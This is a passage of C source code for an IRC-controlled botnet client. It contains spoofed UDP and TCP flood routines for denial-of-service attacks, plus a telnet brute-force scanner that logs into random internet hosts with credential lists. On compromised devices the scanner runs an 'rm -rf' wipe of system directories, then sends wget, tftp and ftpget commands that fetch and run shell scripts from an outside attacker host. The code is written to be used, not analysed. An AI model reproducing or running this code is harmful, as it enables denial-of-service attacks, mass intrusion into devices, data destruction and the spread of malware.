  1417.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1418.  
  1419.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1420.  
  1421.                 int end = time(NULL) + timeEnd;
  1422.                 register unsigned int i = 0;
  1423.                 register unsigned int ii = 0;
  1424.                 while(1)
  1425.                 {
  1426.                     sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1427.  
  1428.                     udph->source = rand_cmwc();
  1429.                     udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1430.                     iph->id = rand_cmwc();
  1431.                     iph->saddr = htonl( getRandomIP(netmask) );
  1432.                     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1433.  
  1434.                     if(i == pollRegister)
  1435.                     {
  1436.                             if(time(NULL) > end) break;
  1437.                             i = 0;
  1438.                             continue;
  1439.                     }
  1440.                     i++;
  1441.                    
  1442.                     if(ii == sleepcheck)
  1443.                     {
  1444.                         usleep(sleeptime*1000);
  1445.                         ii = 0;
  1446.                         continue;
  1447.                     }
  1448.                     ii++;
  1449.                 }
  1450.                 int argc;
  1451.                 char **argv;
  1452.                 Send(sock,"PRIVMSG %s :7[QUDP] Flood On [%s:%s] Finished!\n",chan, argv[1], atoi(argv[2]));
  1453.         }
  1454. }
  1455. void sendJUNK(unsigned char *ip, int port, int end_time)
  1456. {
  1457.  
  1458.     int max = getdtablesize() / 2, i;
  1459.  
  1460.     struct sockaddr_in dest_addr;
  1461.     dest_addr.sin_family = AF_INET;
  1462.     dest_addr.sin_port = htons(port);
  1463.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1464.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1465.  
  1466.     struct state_t
  1467.     {
  1468.         int fd;
  1469.         uint8_t state;
  1470.     } fds[max];
  1471.     memset(fds, 0, max * (sizeof(int) + 1));
  1472.  
  1473.     fd_set myset;
  1474.     struct timeval tv;
  1475.     socklen_t lon;
  1476.     int valopt, res;
  1477.  
  1478.     unsigned char *watwat = malloc(8192);
  1479.     memset(watwat, 0, 8192);
  1480.     int packetLen = 1024;
  1481.    
  1482.     int end = time(NULL) + end_time;
  1483.     while(end > time(NULL))
  1484.     {
  1485.         for(i = 0; i < max; i++)
  1486.         {
  1487.             switch(fds[i].state)
  1488.             {
  1489.             case 0:
  1490.                 {
  1491.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1492.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1493.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1494.                     else fds[i].state = 1;
  1495.                 }
  1496.                 break;
  1497.  
  1498.             case 1:
  1499.                 {
  1500.                     FD_ZERO(&myset);
  1501.                     FD_SET(fds[i].fd, &myset);
  1502.                     tv.tv_sec = 0;
  1503.                     tv.tv_usec = 10000;
  1504.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1505.                     if(res == 1)
  1506.                     {
  1507.                         lon = sizeof(int);
  1508.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1509.                         if(valopt)
  1510.                         {
  1511.                             close(fds[i].fd);
  1512.                             fds[i].state = 0;
  1513.                         } else {
  1514.                             fds[i].state = 2;
  1515.                         }
  1516.                     } else if(res == -1)
  1517.                     {
  1518.                         close(fds[i].fd);
  1519.                         fds[i].state = 0;
  1520.                     }
  1521.                 }
  1522.                 break;
  1523.  
  1524.             case 2:
  1525.                 {
  1526.                
  1527.                     packetLen = realrand(32, 8192);
  1528.                     makeRandomShit(watwat, packetLen);
  1529.                     if(send(fds[i].fd, watwat, packetLen, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1530.                     {
  1531.                         close(fds[i].fd);
  1532.                         fds[i].state = 0;
  1533.                     }
  1534.                 }
  1535.                 break;
  1536.             }
  1537.         }
  1538.     }
  1539. }
  1540.  
  1541. char *junk(int sock, char *sender, int argc, char **argv) {
  1542.     if(argc < 3 || atoi(argv[3]) < 0) {
  1543.         Send(sock, "PRIVMSG %s :7[JUNK] <ip> <port> <time>\n", chan);
  1544.         return;
  1545.     }
  1546.     if(mfork(sender) != 0) return;
  1547.     Send(sock, "PRIVMSG %s :7[JUNK] flooding %s:%s\n", chan, argv[1], argv[2]);
  1548.     sendJUNK(argv[1], atoi(argv[2]), atoi(argv[3]));
  1549. }
  1550.  
  1551. void sendHOLD(unsigned char *ip, int port, int end_time)
  1552. {
  1553.  
  1554.     int max = getdtablesize() / 2, i;
  1555.  
  1556.     struct sockaddr_in dest_addr;
  1557.     dest_addr.sin_family = AF_INET;
  1558.     dest_addr.sin_port = htons(port);
  1559.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1560.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1561.  
  1562.     struct state_t
  1563.     {
  1564.         int fd;
  1565.         uint8_t state;
  1566.     } fds[max];
  1567.     memset(fds, 0, max * (sizeof(int) + 1));
  1568.  
  1569.     fd_set myset;
  1570.     struct timeval tv;
  1571.     socklen_t lon;
  1572.     int valopt, res;
  1573.  
  1574.     int end = time(NULL) + end_time;
  1575.     while(end > time(NULL))
  1576.     {
  1577.         for(i = 0; i < max; i++)
  1578.         {
  1579.             switch(fds[i].state)
  1580.             {
  1581.             case 0:
  1582.                 {
  1583.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1584.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1585.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1586.                     else fds[i].state = 1;
  1587.                 }
  1588.                 break;
  1589.  
  1590.             case 1:
  1591.                 {
  1592.                     FD_ZERO(&myset);
  1593.                     FD_SET(fds[i].fd, &myset);
  1594.                     tv.tv_sec = 0;
  1595.                     tv.tv_usec = 10000;
  1596.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1597.                     if(res == 1)
  1598.                     {
  1599.                         lon = sizeof(int);
  1600.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1601.                         if(valopt)
  1602.                         {
  1603.                             close(fds[i].fd);
  1604.                             fds[i].state = 0;
  1605.                         } else {
  1606.                             fds[i].state = 2;
  1607.                         }
  1608.                     } else if(res == -1)
  1609.                     {
  1610.                         close(fds[i].fd);
  1611.                         fds[i].state = 0;
  1612.                     }
  1613.                 }
  1614.                 break;
  1615.  
  1616.             case 2:
  1617.                 {
  1618.                     FD_ZERO(&myset);
  1619.                     FD_SET(fds[i].fd, &myset);
  1620.                     tv.tv_sec = 0;
  1621.                     tv.tv_usec = 10000;
  1622.                     res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1623.                     if(res != 0)
  1624.                     {
  1625.                         close(fds[i].fd);
  1626.                         fds[i].state = 0;
  1627.                     }
  1628.                 }
  1629.                 break;
  1630.             }
  1631.         }
  1632.     }
  1633. }
  1634.  
  1635. char *hold(int sock, char *sender, int argc, char **argv) {
  1636.     if(argc < 3 || atoi(argv[3]) < 0) {
  1637.         Send(sock, "PRIVMSG %s :7[HOLD] <ip> <port> <time>\n", chan);
  1638.         return;
  1639.     }
  1640.     if(mfork(sender) != 0) return;
  1641.     Send(sock, "PRIVMSG %s :7[HOLD] flooding [%s:%s]\n", chan, argv[1], argv[2]);
  1642.     sendHOLD(argv[1], atoi(argv[2]), atoi(argv[3]));
  1643. }
  1644. void udpbiatch(int sock, char *sender, int argc, char **argv)
  1645. {
  1646.     if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > maxSTDpacketsize || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1647.     {
  1648.             Send(sock,"PRIVMSG %s :7[QUDP] <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>\n",chan);
  1649.             return;
  1650.     }
  1651.     if (atoi(argv[3]) > maxtime)
  1652.     {
  1653.         Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
  1654.         exit(1);
  1655.     }
  1656.     if (atoi(argv[5]) > maxSTDpacketsize)
  1657.     {
  1658.         Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
  1659.         exit(1);
  1660.     }
  1661.     unsigned char *ip = argv[1];
  1662.     int port = atoi(argv[2]);
  1663.     int time = atoi(argv[3]);
  1664.     int spoofed = atoi(argv[4]);
  1665.     int packetsize = atoi(argv[5]);
  1666.     int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  1667.     int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  1668.     int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  1669.    
  1670.     if(strstr(ip, ",") != NULL)
  1671.                 {
  1672.                         unsigned char *hi = strtok(ip, ",");
  1673.                         while(hi != NULL)
  1674.                         {
  1675.                                 if(!listFork())
  1676.                                 {
  1677.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1678.                                         _exit(0);
  1679.                                 }
  1680.                                 hi = strtok(NULL, ",");
  1681.                         }
  1682.                 } else {
  1683.                         if (!listFork()){
  1684.                             sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1685.                             _exit(0);  
  1686.                         }
  1687.                 }
  1688.                 return;
  1689. }
  1690.  
  1691. void killall(int sock, char *sender, int argc, char **argv) {
  1692.         unsigned long i;
  1693.         for (i=0;i<numpids;i++) {
  1694.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1695.                         if (sender) Send(sock,"PRIVMSG %s :4[KILL] PID DROPPED - [%d]\n",chan,pids[i]);
  1696.                         kill(pids[i],9);
  1697.                 }
  1698.         }
  1699. }
  1700. void killd(int sock, char *sender, int argc, char **argv) {
  1701.     char buf[1024]={0};
  1702.     if (disabled == 1) return;
  1703.     sprintf(buf,"kill -9 %d;kill -9 0",actualparent);
  1704.     system(buf);
  1705.     exit(0);
  1706. }
  1707. void train_ps(int sock, char *sender, int argc, char **argv) {
  1708.     int match = 0;
  1709.     unsigned int i;
  1710.     for (i = 0; i < NUM_ADMINS; i++){
  1711.         if (strcasecmp(admins[i], sender) == 0){
  1712.             match = 1;
  1713.         }
  1714.     }
  1715.     if(match){
  1716.         maxSTDpacketsize = atoi(argv[1]);
  1717.         Send(sock, "PRIVMSG %s :7PACKETSIZE: Max Packetsize changed to -> %d\n", chan, maxSTDpacketsize);
  1718.     } else {
  1719.         Send(sock, "PRIVMSG %s :7PACKETSIZE: You must have admin status to change the Max packetsize!n", chan);
  1720.     }
  1721. }
  1722.  
  1723. void max_bt(int sock, char *sender, int argc, char **argv) {
  1724.     int match = 0;
  1725.     unsigned int i;
  1726.     for (i = 0; i < NUM_ADMINS; i++){
  1727.         if (strcasecmp(admins[i], sender) == 0){
  1728.             match = 1;
  1729.         }
  1730.     }
  1731.     if(match){
  1732.         maxtime = atoi(argv[1]);
  1733.         Send(sock, "PRIVMSG %s :7BOOT TIME: Max boot time changed to -> %d\n", chan, maxtime);
  1734.     } else {
  1735.         Send(sock, "PRIVMSG %s :7BOOT TIME: You must have admin status to change the Max boot time!\n", chan);
  1736.     }
  1737. }
  1738.  
  1739. void max_threads(int sock, char *sender, int argc, char **argv) {
  1740.     int match = 0;
  1741.     unsigned int i;
  1742.     for (i = 0; i < NUM_ADMINS; i++){
  1743.         if (strcasecmp(admins[i], sender) == 0){
  1744.             match = 1;
  1745.         }
  1746.     }
  1747.     if(match){
  1748.         maxthreads = atoi(argv[1]);
  1749.         Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: Max threads changed to -> %d\n", chan, maxthreads);
  1750.     } else {
  1751.         Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: You must have admin status to change the Max threads!\n", chan);
  1752.     }
  1753. }
  1754. int negotiate(int sock, unsigned char *buf, int len) {
  1755.         unsigned char c;
  1756.         switch (buf[1]) {
  1757.         case CMD_IAC: return 0;
  1758.         case CMD_WILL:
  1759.         case CMD_WONT:
  1760.         case CMD_DO:
  1761.         case CMD_DONT:
  1762.                 c = CMD_IAC;
  1763.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1764.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  1765.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1766.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1767.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1768.                 send(sock, &c, 1, MSG_NOSIGNAL);
  1769.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1770.                 break;
  1771.         default:
  1772.                 break;
  1773.         }
  1774.  
  1775.         return 0;
  1776. }
  1777.  
  1778. int contains_string(char* buffer, char** strings) {
  1779.         int num_strings = 0, i = 0;
  1780.         for(num_strings = 0; strings[++num_strings] != 0; );
  1781.         for(i = 0; i < num_strings; i++) {
  1782.                 if(strcasestr(buffer, strings[i])) {
  1783.                         return 1;
  1784.                 }
  1785.         }
  1786.         return 0;
  1787. }
  1788. int contains_success(char* buffer) {
  1789.         return contains_string(buffer, successes);
  1790. }
  1791. int contains_fail(char* buffer) {
  1792.         return contains_string(buffer, fails);
  1793. }
  1794. int contains_response(char* buffer) {
  1795.         return contains_success(buffer) || contains_fail(buffer);
  1796. }
  1797. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  1798.         fd_set read_set;
  1799.         struct timeval tv;
  1800.         tv.tv_sec = 0;
  1801.         tv.tv_usec = timeout_usec;
  1802.         FD_ZERO(&read_set);
  1803.         FD_SET(fd, &read_set);
  1804.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1805.         return 0;
  1806.         return recv(fd, buffer, buf_size, 0);
  1807. }
  1808. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  1809.         int num_bytes, i;
  1810.         memset(buffer, 0, buf_size);
  1811.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1812.         if(buffer[0] == 0xFF) {
  1813.                 negotiate(fd, buffer, 3);
  1814.         }
  1815.  
  1816.         if(contains_string(buffer, strings)) {
  1817.                 return 1;
  1818.         }
  1819.  
  1820.         return 0;
  1821. }
  1822. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  1823.         struct in_addr in_addr_ip;
  1824.         in_addr_ip.s_addr = telstate->ip;
  1825.         return inet_ntoa(in_addr_ip);
  1826. }
  1827. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  1828.         if(new_state == 0) {
  1829.                 close(telstate->fd);
  1830.         }
  1831.         telstate->tTimeout = 0;
  1832.         telstate->state = new_state;
  1833.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  1834. }
  1835. void reset_telstate(struct telstate_t* telstate) { // reset
  1836.         advance_telstate(telstate, 0);
  1837.         telstate->complete = 1;
  1838. }
  1839.  
  1840. void uzitelscan(int wait_usec, int maxfds, int sock) {
  1841.         if(fork() == -1) return;
  1842.    
  1843.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  1844.        
  1845.         char buf[128], cur_dir;
  1846.         if (max > maxfds)
  1847.                 max = maxfds;
  1848.         fd_set fdset;
  1849.         struct timeval tv;
  1850.         socklen_t lon;
  1851.         int valopt;
  1852.        
  1853.         char line[256];
  1854.         char* buffer;
  1855.         struct sockaddr_in dest_addr;
  1856.         dest_addr.sin_family = AF_INET;
  1857.         dest_addr.sin_port = htons(23);
  1858.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1859.        
  1860.         buffer = malloc(SOCKBUF_SIZE + 1);
  1861.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  1862.        
  1863.         struct telstate_t fds[max];
  1864.        
  1865.         memset(fds, 0, max * (sizeof(int) + 1));
  1866.         for(i = 0; i < max; i++)
  1867.         {
  1868.             memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1869.             fds[i].complete = 1;
  1870.             fds[i].sockbuf = buffer;
  1871.         }
  1872.         while(1) {
  1873.                 for(i = 0; i < max; i++) {
  1874.                         if(fds[i].tTimeout == 0) {
  1875.                                 fds[i].tTimeout = time(NULL);
  1876.                         }
  1877.                         switch(fds[i].state) {
  1878.             case 0:
  1879.                 {
  1880.                     if(fds[i].complete == 1)
  1881.                     {
  1882.                         char *tmp = fds[i].sockbuf;
  1883.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1884.                         fds[i].sockbuf = tmp;            
  1885.                         fds[i].ip = getRandomPublicIP();
  1886.                     }
  1887.                     else if(fds[i].complete == 0)
  1888.                     {
  1889.                         fds[i].usernameInd++;
  1890.                         fds[i].passwordInd++;
  1891.                                    
  1892.                         if(fds[i].passwordInd == sizeof(uzipasswords) / sizeof(char *))
  1893.                         {
  1894.                             fds[i].complete = 1;
  1895.                             continue;
  1896.                         }
  1897.  
  1898.                     }
  1899.                                
  1900.                     dest_addr.sin_family = AF_INET;
  1901.                     dest_addr.sin_port = htons(23);
  1902.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1903.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  1904.                                
  1905.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1906.                                
  1907.                     if(fds[i].fd == -1) continue;
  1908.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1909.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1910.                     {
  1911.                         reset_telstate(&fds[i]);
  1912.                     }
  1913.                     else
  1914.                     {
  1915.                         advance_telstate(&fds[i], 1);
  1916.                     }
  1917.                 }
  1918.                 break;
  1919.                
  1920.             case 1:
  1921.                 {
  1922.                     FD_ZERO(&fdset);
  1923.                     FD_SET(fds[i].fd, &fdset);
  1924.                     tv.tv_sec = 0;
  1925.                     tv.tv_usec = wait_usec;
  1926.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1927.                    
  1928.                     if(res == 1) {
  1929.                         fds[i].tTimeout = 0;
  1930.                         lon = sizeof(int);
  1931.                         valopt = 0;
  1932.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1933.                         if(valopt)
  1934.                         {
  1935.                             reset_telstate(&fds[i]);
  1936.                         }
  1937.                         else
  1938.                         {
  1939.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1940.                             advance_telstate(&fds[i], 2);
  1941.                         }
  1942.                         continue;
  1943.                     }
  1944.                     else if(res == -1)
  1945.                     {
  1946.                         reset_telstate(&fds[i]);
  1947.                         continue;
  1948.                     }
  1949.                     if(fds[i].tTimeout + 7 < time(NULL))
  1950.                     {
  1951.                         reset_telstate(&fds[i]);
  1952.                     }
  1953.                 }
  1954.                 break;
  1955.             case 2:
  1956.                 {
  1957.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1958.                     {
  1959.                         fds[i].tTimeout = time(NULL);
  1960.                         if(contains_fail(fds[i].sockbuf))
  1961.                         {
  1962.                             advance_telstate(&fds[i], 0);
  1963.                         }
  1964.                         else
  1965.                         {
  1966.                             Send(sock, "PRIVMSG %s :13[UZI] [+] VULN DEVICE ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
  1967.                             advance_telstate(&fds[i], 3);
  1968.                         }
  1969.                         continue;
  1970.                     }
  1971.                     if(fds[i].tTimeout + 7 < time(NULL))
  1972.                     {
  1973.                         reset_telstate(&fds[i]);
  1974.                     }
  1975.                 }
  1976.                 break;
  1977.             case 3:
  1978.                 {
  1979.                     if(send(fds[i].fd, uziusernames[fds[i].usernameInd], strlen(uziusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1980.                     {
  1981.                         reset_telstate(&fds[i]);
  1982.                         continue;
  1983.                     }
  1984.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1985.                     {
  1986.                         reset_telstate(&fds[i]);
  1987.                         continue;
  1988.                     }
  1989.                     Send(sock, "PRIVMSG %s :13[UZI] [+] USERNAME SENT ---> [%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd]);
  1990.                     advance_telstate(&fds[i], 4);
  1991.                 }
  1992.                 break;
  1993.             case 4:
  1994.                 {
  1995.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1996.                     {
  1997.                         fds[i].tTimeout = time(NULL);
  1998.                         if(contains_fail(fds[i].sockbuf))
  1999.                         {
  2000.                             advance_telstate(&fds[i], 0);
  2001.                         }
  2002.                         else
  2003.                         {
  2004.                             Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD ATTEMPT ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
  2005.                             advance_telstate(&fds[i], 5);
  2006.                         }
  2007.                         continue;
  2008.                     }
  2009.                     if(fds[i].tTimeout + 7 < time(NULL))
  2010.                     {
  2011.                         reset_telstate(&fds[i]);
  2012.                     }
  2013.                 }
  2014.                 break;                                
  2015.             case 5:
  2016.                 {
  2017.                     if(send(fds[i].fd, uzipasswords[fds[i].passwordInd], strlen(uzipasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  2018.                     {
  2019.                         reset_telstate(&fds[i]);
  2020.                         continue;
  2021.                     }
  2022.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  2023.                     {
  2024.                         reset_telstate(&fds[i]);
  2025.                         continue;
  2026.                     }
  2027.                     Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD SENT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]),uziusernames[fds[i].usernameInd],  uzipasswords[fds[i].passwordInd]);
  2028.                     advance_telstate(&fds[i], 6);
  2029.                 }
  2030.                 break;                                    
  2031.             case 6:
  2032.                 {
  2033.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  2034.                     {
  2035.                         fds[i].tTimeout = time(NULL);
  2036.                        
  2037.                         if(contains_fail(fds[i].sockbuf))
  2038.                         {
  2039.                             advance_telstate(&fds[i], 0);
  2040.                         }
  2041.                         else if(contains_success(fds[i].sockbuf))
  2042.                         {
  2043.                             if(fds[i].complete == 2)
  2044.                             {
  2045.                                 Send(sock, "PRIVMSG %s :13[UZI] [+] INFECT ATTEMPT DETECTED ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2046.                                 advance_telstate(&fds[i], 7);
  2047.                             }
  2048.                         }
  2049.                         else
  2050.                         {
  2051.                             reset_telstate(&fds[i]);
  2052.                         }
  2053.                         continue;
  2054.                     }
  2055.                     if(fds[i].tTimeout + 30 < time(NULL)) {
  2056.                         reset_telstate(&fds[i]);
  2057.                     }
  2058.                 }
  2059.                 break;
  2060.             case 7:
  2061.                 {
  2062.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2063.                     advance_telstate(&fds[i], 8);
  2064.                 }
  2065.                 case 8:
  2066.                 {
  2067.                     fds[i].tTimeout = 0;
  2068.                     if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) {
  2069.                         Send(sock, "PRIVMSG %s :13[UZI] [+] DIRECTORIES CLEARED ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2070.                         advance_telstate(&fds[i], 9);
  2071.                         continue;
  2072.                     }
  2073.                 }
  2074.             case 9:
  2075.                 {
  2076.                     fds[i].tTimeout = time(NULL);
  2077.                     if(send(fds[i].fd, "/bin/busybox wget lol.r00ts.ninja/w.sh || wget lol.r00ts.ninja/w.sh && sh w.sh\r\n", 80, MSG_NOSIGNAL) < 0) {
  2078.                         Send(sock, "PRIVMSG %s :13[UZI] [-] WGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2079.                         reset_telstate(&fds[i]);
  2080.                         continue;
  2081.                     }
  2082.                     if(fds[i].tTimeout + 45 < time(NULL))  {
  2083.                         send(fds[i].fd, "/bin/busybox tftp tftp.r00ts.ninja -c get u.sh && /bin/busybox tftp -r u.sh -g tftp.r00ts.ninja || tftp tftp.r00ts.ninja -c get u.sh && tftp -r u.sh -g tftp.r00ts.ninja && sh u.sh && bash u.sh\r\n", 194, MSG_NOSIGNAL);
  2084.                         Send(sock, "PRIVMSG %s :13[UZI] [-] TFTP PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2085.                         reset_telstate(&fds[i]);
  2086.                     }
  2087.                     if(fds[i].tTimeout + 45 < time(NULL))  {
  2088.                         send(fds[i].fd, "ftpget -v -u anonymous -p anonymous -P 21 21ftp.r00ts.ninja f1.sh && sh ftp1.sh\r\n", 81, MSG_NOSIGNAL);
  2089.                         Send(sock, "PRIVMSG %s :13[UZI] [-] FTPGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2090.                         reset_telstate(&fds[i]);
  2091.                     }
  2092.                         else {
  2093.                         Send(sock, "PRIVMSG %s :13[UZI] [+] PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2094.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infectconfirm)) {
  2095.                             Send(sock, "PRIVMSG %s :13[UZI] [+] SUCCESSFUL INFECTION ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2096.                             reset_telstate(&fds[i]);
  2097.                             continue;
  2098.                         }
  2099.                     }
  2100.                        
  2101.                     if(fds[i].tTimeout + 60 < time(NULL)) {
  2102.                         if(fds[i].complete!=3) {
  2103.                             Send(sock, "PRIVMSG %s :13[UZI] [-] FAILED TO INFECT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
  2104.                         }
  2105.                         reset_telstate(&fds[i]);
  2106.                     }
  2107.                     break;
  2108.                 }
  2109.                
  2110.             }
  2111.         }
  2112.     }
  2113. }
  2114.  
  2115. void uzitelscanargs(int sock) {
  2116.         uint32_t parent;
  2117.         parent = fork();
  2118.         int forks = sysconf(_SC_NPROCESSORS_ONLN);
  2119.         int fds = forks * 512; //Far effective. 100 sockets for each CPU. - ZoneHax
  2120.         if(parent > 0) {
  2121.             scanPid = parent;
  2122.             return;
  2123.         }
  2124.         else if(parent == -1) return;
  2125.         int ii;
  2126.         for(ii = 0; ii < forks; ii++) {
  2127.             srand((time(NULL) ^ getpid()) + getppid());
  2128.             init_rand(time(NULL) ^ getpid());
  2129.             uzitelscan(5000, fds, sock);
  2130.          }
  2131.          return;
  2132. }
  2133.  
  2134. void uziscanstart(int sock, char *sender, int argc, char **argv) {
  2135.     if(argc < 1) {
  2136.         Send(sock, "NOTICE %s :UZIBRUTE <ON/OFF>\n", sender);
  2137.         return;
  2138.     }
  2139.     if(!strcmp(argv[1], "ON")) {
  2140.         if(scanPid == 0) {
  2141.             uzitelscanargs(sock);
  2142.             if(scanPid != 0) {
  2143.                 Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE STARTED!\n", chan); //Scanner has been started successfully!!!
  2144.                 return;
  2145.             } else {
  2146.                 Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO START UZIBRUTE!\n", chan);
  2147.                 return;
  2148.             }
  2149.         } else {
  2150.             Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE ALREADY STARTED!\n", chan);
  2151.             return;
  2152.         }
  2153.     }
  2154.     if(!strcmp(argv[1], "OFF")) {
  2155.         if(scanPid != 0) {
  2156.             if(kill(scanPid, 9) == 0) {
  2157.                 Send(sock, "PRIVMSG %s :4 6[UZI] [+] UZIBRUTE KILLED!\n", chan);
  2158.                 scanPid = 0;
  2159.                 return;
  2160.             } else {
  2161.                 Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO KILL UZIBRUTE!\n", chan);
  2162.                 return;
  2163.             }
  2164.         } else {
